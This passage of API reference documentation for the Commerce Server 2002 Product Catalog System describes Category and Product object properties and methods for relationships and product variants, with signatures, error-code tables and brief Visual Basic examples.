[C++] The Products parameter contains valid data only if the property is accessed successfully.

If the properties specified in the strPropertyToSortOn parameter are invalid, then the recordset will be unsorted.

If the cscCategoryClass value is specified for the eClassTypeRequired parameter, the returned recordset will contain all the products and all the child categories in this category.

The Products property contains the product data for all the products in this category.

[C++] The returned recordset contains all the fields in the CatalogProduct Recordset.

[Visual Basic] The returned recordset contains all the fields in the CatalogProduct Recordset.

If this category contains no products, then the Products property returns an empty recordset whose EOF property is set to VARIANT_TRUE.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Category Object

[C++] ICategory3::get_DescendantProducts

[C++] ICategory3::get_RelatedProducts

[Visual Basic] Category.DescendantProducts

[Visual Basic] Category Object

[Visual Basic] Category.RelatedProducts


ICategory3::get_RelatedCategories Property [C++]

Category.RelatedCategories Property [Visual Basic]

The RelatedCategories property is a read-only recordset that contains all categories in the Product Catalog System related to this category.

Definition

[C++]
HRESULT ICategory3::get_RelatedCategories(
  _Recordset** RelatedCategories
);
[Visual Basic]
Property RelatedCategories As Recordset

Parameters

RelatedCategories [C++]
[out, retval] A _Recordset object used to return the related categories.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedCategories parameter contains valid data only if the property is accessed successfully.

The RelatedCategories property contains information on all the relationships this category has to other categories. The recordset returned contains one row for each relationship present.

The following table shows the fields in the returned recordset.

Field Data Type Description
CategoryName String
maximum of 128 characters 		The name of the category.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.
TargetCatalog String
maximum of 128 characters 		The name of the target catalog.

See Also

[C++] Category Object

[C++] ICategory3::get_AncestorCategories

[C++] ICategory3::get_ChildCategories

[C++] ICategory3::get_ParentCategories

[C++] ICategory3::AddRelationshipToCategory

[C++] ICategory3::RemoveRelationshipToCategory

[C++] ICategory3::SetRelatedCategories

[Visual Basic] Category Object

[Visual Basic] Category.AncestorCategories

[Visual Basic] Category.ChildCategories

[Visual Basic] Category.ParentCategories

[Visual Basic] Category.AddRelationshipToCategory

[Visual Basic] Category.RemoveRelationshipToCategory

[Visual Basic] Category.SetRelatedCategories


ICategory3::get_RelatedProducts Property [C++]

Category.RelatedProducts Property [Visual Basic]

The RelatedProducts property is a read-only recordset containing information about all products within the Product Catalog System related to this category.

Definition

[C++]
HRESULT ICategory3::get_RelatedProducts(
  _Recordset** RelatedProducts
);
[Visual Basic]
Property RelatedProducts As Recordset

Parameters

RelatedProducts [C++]
[out, retval] A _Recordset object used to return the related products.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C++] 0x889800F8 [Visual Basic] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The RelatedProducts parameter contains valid data only if the property is accessed successfully.

The recordset returned contains one row for each relationship present.

The following table shows the fields in the returned recordset.

Field Data Type Description
ProductID String
maximum of 256 characters 		The unique product identifier in the target catalog.
RelationshipName String
maximum of 128 characters 		The name of the relationship.
RelationshipDescription String
maximum of 256 characters 		The description of the relationship.
TargetCatalog String
maximum of 128 characters 		The name of the target catalog.

Important

  • The ProductID field in the returned recordset is not same as the <defined ProductID field> used in this recordset in Commerce Server 2000. If you are upgrading a Commerce Server 2000 application, you may need to modify your code to accept a String data type.

See Also

[C++] Category Object

[C++] ICategory3::get_DescendantProducts

[C++] ICategory3::get_Products

[C++] ICategory3::AddRelationshipToProduct

[C++] ICategory3::RemoveRelationshipToProduct

[C++] ICategory3::SetRelatedProducts

[Visual Basic] Category Object

[Visual Basic] Category.DescendantProducts

[Visual Basic] Category.Products

[Visual Basic] Category.AddRelationshipToProduct

[Visual Basic] Category.RemoveRelationshipToProduct

[Visual Basic] Category.SetRelatedProducts


Product Object [C++]

Product Object [Visual Basic]

Use this object to work with products and variants in a catalog.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | Product
Type Library Name: | Microsoft Commerce 2002 Catalog Type Library v1.3
DLL Name: | Catalog.dll
Threading Model: | Both
[C++]
COM Interface Name: | Iproduct3
Interface ID Constant: | IID_Iproduct3
Header File: | Catalog.h, mspu_guids.h
[C++]

In C++, use the IProduct3 interface to access the properties and methods of the Product object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.
[Visual Basic]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.

Properties

[C++]
Property | Type | Description
AncestorCategories | _Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | BSTR | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | _Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | _Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | BSTR | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | BSTR | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique ID for this product. This property is read-only.
RelatedCategories | _Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | _Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | VARIANT_BOOL | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | _Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.
[Visual Basic]
Property | Type | Description
AncestorCategories | Recordset | Contains a recordset of category names that exist anywhere above this product, and that directly or indirectly contain this product in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Product object is a member. This property is read-only.
GetProductProperties | Recordset | Contains a recordset containing the property values for this product. This property is read-only.
ParentCategories | Recordset | Contains a recordset of categories that directly contain this product. This property is read-only.
PricingCategory | String | Contains the name of the pricing category for this product. This property is read/write.
PrimaryParent | String | Contains the name of the primary parent category for this product. This property is read/write.
ProductID | BSTR | Contains the unique identifier for this product This property is read-only.
RelatedCategories | Recordset | Contains a recordset that describes all of the categories that are related to this product. This property is read-only.
RelatedProducts | Recordset | Contains a recordset that describes all of the products that are related to this product. This property is read-only.
UseCategoryPricing | Boolean | Indicates whether the price is derived from the PrimaryParentCategory field. This property is read/write.
Variants | Recordset | Contains a recordset that describes all of the variants of this product, if any. This property is read-only.

Remarks

[C++]

The Product object is a dependent object. Obtain a pointer to the IProduct3 interface by calling one of the following methods:

  • IProductCatalog3::CreateProduct
  • IProductCatalog3::GetProduct
[Visual Basic]

The Product object is a dependent object. Obtain a reference to it by accessing the following properties:

  • ProductCatalog.CreateProduct
  • ProductCatalog.GetProduct


IProduct3 Methods [C++]

Product Methods [Visual Basic]

Methods

[C++]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.
[Visual Basic]
Method | Description
AddRelationshipToCategory | Adds a relationship to a specified category from this product.
AddRelationshipToProduct | Adds a relationship to another specified product from this product.
CreateVariant | Creates a new product variant.
DeleteVariant | Deletes a product variant.
GetVariantProperties | Returns the properties of a specified product variant.
RemoveRelationshipToCategory | Removes the specified relationship between this product and the specified category.
RemoveRelationshipToProduct | Removes the specified relationship between this product and the specified product.
SetProductProperties | Sets the properties for this product and all its variants.
SetRelatedCategories | Updates category relationships.
SetRelatedProducts | Updates product relationships.
SetVariantProperties | Sets the properties for variants of this product.


IProduct3::AddRelationshipToCategory Method [C++]

Product.AddRelationshipToCategory Method [Visual Basic]

Use this method to add a relationship to a specified category in a specified catalog from this product.

Definition

[C++]
HRESULT IProduct3::AddRelationshipToCategory(
  BSTR strRelatedCategoryName,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strTargetCatalogName
);
[Visual Basic]
Sub AddRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  strTargetCatalogName As String
)

Parameters

strRelatedCategoryName [C++]
[in] A BSTR that contains the name of the category to which a relationship is to be added.
strRelatedCategoryName [Visual Basic]
A String that contains the name of the category to which a relationship is to be added.
strRelationshipName [C++]
[in] A BSTR that contains a name for the relationship.
strRelationshipName [Visual Basic]
A String that contains a name for the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that optionally contains a description for the relationship. See the Remarks section for more information.
strRelationshipDescription [Visual Basic]
A Variant that optionally contains a description for the relationship. See the Remarks section for more information.
strTargetCatalogName [C++]
[in] A BSTR that contains the name of the catalog that contains the category specified in strRelatedCategoryName .
strTargetCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the category specified in strRelatedCategoryName.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the Relationship description exceeds 256 characters. Relationship Description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The Category you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog's included relationships cannot be directly edited. Instead, they can only be edited in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedCategories method to create descriptions in other languages.

[Visual Basic]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedCategories method to create descriptions in other languages.

More than one relationship may be created between the same product and category; however, in this case each relationship created must be given a unique name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vDesc is a Variant of subtype String containing the description.
myProduct.AddRelationshipToCategory "Apparel", "Accessory", vDesc, "myCat"

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelationshipToProduct

[Visual Basic] Product.AddRelationshipToProduct

[C++] IProduct3::RemoveRelationshipToCategory

[Visual Basic] Product.RemoveRelationshipToCategory

[C++] IProduct3::SetRelatedCategories

[Visual Basic] Product.SetRelatedCategories


IProduct3::AddRelationshipToProduct Method [C++]

Product.AddRelationshipToProduct Method [Visual Basic]

Use this method to add a relationship to a specified product in the specified catalog from this product.

Definition

[C++]
HRESULT IProduct3::AddRelationshipToProduct(
  VARIANT varRelatedProductID,
  BSTR strRelationshipName,
  VARIANT strRelationshipDescription,
  BSTR strTargetCatalogName
);
[Visual Basic]
Sub AddRelationshipToProduct(
  varRelatedProductID As Variant,
  strRelationshipName As String,
  Optional strRelationshipDescription As Variant,
  BSTR strTargetCatalogName
)

Parameters

varRelatedProductID [C++]
[in] A VARIANT that contains the ID of the related product.
varRelatedProductID [Visual Basic]
A Variant that contains the ID of the related product.
strRelationshipName [C++]
[in] A BSTR that contains the name of the relationship.
strRelationshipName [Visual Basic]
A String that contains the name of the relationship.
strRelationshipDescription [C++]
[in, optional] A VARIANT that optionally contains a description for the relationship.
strRelationshipDescription [Visual Basic]
A Variant that optionally contains a description for the relationship.
strTargetCatalogName [C++]
[in] A BSTR that contains the name of the catalog that contains the product specified in varRelatedProductID .
strTargetCatalogName [Visual Basic]
A String that contains the name of the catalog that contains the product specified in varRelatedProductID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &Hx8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C++] 0x88980054 [Visual Basic] &H88980054 | The value you specified for the Relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the productID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &Hx8898004E | The value you specified for the productID is either out of range or else does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the productID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C++] 0x88980055 [Visual Basic] &H88980055 | The value you specified for the Relationship description exceeds 256 characters. Relationship Description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C++] 0x88980039 [Visual Basic] &H88980039 | An Invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C++] 0x8898011B [Visual Basic] &H8898011B | A virtual catalog's included relationships cannot be directly edited. Instead, they can edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedProducts method to create descriptions in other languages.

[Visual Basic]

The new relationship must have a name, which you specify in the strRelationshipName parameter. It may also optionally have a description, which you specify in the strRelationshipDescription parameter. The description of a relationship is a multilingual attribute. Specifying the strRelationshipDescription parameter will set the description in the current language of the catalog. Use the SetRelatedProducts method to create descriptions in other languages.

More than one relationship may be created between the same two products; however, in this case each relationship created must be given a unique name.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vProdID is a Variant containing the product ID.
'vDesc is a Variant of subtype String containing a description
'of the relationship.
myProduct.AddRelationshipToProduct vProdID, "Accessory", vDesc

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::AddRelationshipToCategory

[Visual Basic] Product.AddRelationshipToCategory

[C++] IProduct3::RemoveRelationshipToProduct

[Visual Basic] Product.RemoveRelationshipToProduct

[C++] IProduct3::SetRelatedProducts

[Visual Basic] Product.SetRelatedProducts


IProduct3::CreateVariant Method [C++]

Product.CreateVariant Method [Visual Basic]

Use this method to create a new product variant of the current product. Only product-specific attributes will be set in the new variant. This method applies only to base catalogs.

Definition

[C++]
HRESULT IProduct3::CreateVariant(
  VARIANT varProductVariantID,
  _Recordset** ppRSProductVariant
);
[Visual Basic]
Function CreateVariant(
  varProductVariantID As Variant
) As Recordset

Parameters

varProductVariantID [C++]
[in] A VARIANT that contains the unique ID of the product variant.
varProductVariantID [Visual Basic]
A Variant that contains the unique ID of the product variant.
ppRSProductVariant [C++]
[out, retval] A pointer to a Recordset object used to return the product variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the properties for the variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants catalog has to be created with variant identifier.
E_CAT_NO_VARIANTS_UNDER_PRODUCT | [C++] 0x88980051 [Visual Basic] &H88980051 | You cannot create a variant under a regular product. Variants can be created under product families only.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_EXISTS | [C++] 0x88980026 [Visual Basic] &H88980026 | The product variant you specified already exists.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The ppRSProductVariant parameter contains valid data only if the method was accessed successfully.

The value and type of the varProductVariantID parameter must be valid for the product property specified as the unique ID for product variants. This property is specified when a catalog is created, as the strProductVariantID parameter to the ICatalogManager3::CreateCatalog method.

[Visual Basic]

The returned recordset contains valid data only if the method was accessed successfully.

The value and type of the varProductVariantID parameter must be valid for the product property specified as the unique ID for product variants. This property is specified when a catalog is created, as the strProductVariantID parameter to the CatalogManager.CreateCatalog method.

If the catalog created does not support variants, that is the strProductVariantID parameter was not specified on catalog creation, an error is returned.

Upon successful completion, the method returns an ActiveX Data Object (ADO) recordset that contains fields for all the properties defined for the new product variant and an integer field named OID. The OID field is used internally by the Product Catalog System and should not be updated. The returned recordset is updateable, but disconnected. In order to modify the variant properties, pass this recordset to the SetVariantProperties method.

Product variants inherit the properties that are present in the product definition. Values for non variant-specific product properties are propagated from the Product object down to the variants, but values for variant-specific properties must be explicitly set for each variant.

The variant ID value should be unique within the product family. There can be two product variants with the same variant IDs within the same catalog, as long as they are in different product families.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsVariantProps = myProduct.CreateVariant("SKU4005XLA")

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::DeleteVariant

[Visual Basic] Product.DeleteVariant

[C++] IProduct3::SetVariantProperties

[Visual Basic] Product.SetVariantProperties


IProduct3::DeleteVariant Method [C++]

Product.DeleteVariant Method [Visual Basic]

Use this method to delete the specified product variant. This method applies to base catalogs only.

Definition

[C++]
HRESULT IProduct3::DeleteVariant(
  VARIANT varVariantID
);
[Visual Basic]
Sub DeleteVariant(
  varVariantID As Variant
)

Parameters

varVariantID [C++]
[in] A VARIANT that contains the unique ID of the variant.
varVariantID [Visual Basic]
A Variant that contains the unique ID of the variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants, the catalog has to be created with variant identifier.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &Hx8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VARIANT_DOESNT_EXIST | [C++] 0x8898001F [Visual Basic] &H8898001F | The product-variant you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'vVarID is a Variant containing the unique ID
'for the product variant.
myProduct.DeleteVariant vVarID

See Also

[C++] Product Object

[Visual Basic] Product Object

[C++] IProduct3::CreateVariant

[Visual Basic] Product.CreateVariant


IProduct3::GetVariantProperties Method [C++]

Product.GetVariantProperties Method [Visual Basic]

Use this method to retrieve the properties for a specified product variant.

Definition

[C++]
HRESULT IProduct3::GetVariantProperties(
  VARIANT varProductVariantID,
  _Recordset** ppRSProductVariant
);
[Visual Basic]
Function GetVariantProperties(
  varProductVariantID As Variant
) As Recordset

Parameters

varProductVariantID [C++]
[in] A VARIANT that contains the unique ID of the product variant.
varProductVariantID [Visual Basic]
A Variant that contains the unique ID of the product variant.
ppRSProductVariant [C++]
[out, retval] A pointer to a Recordset object used to return the product variant properties.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the variant properties.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
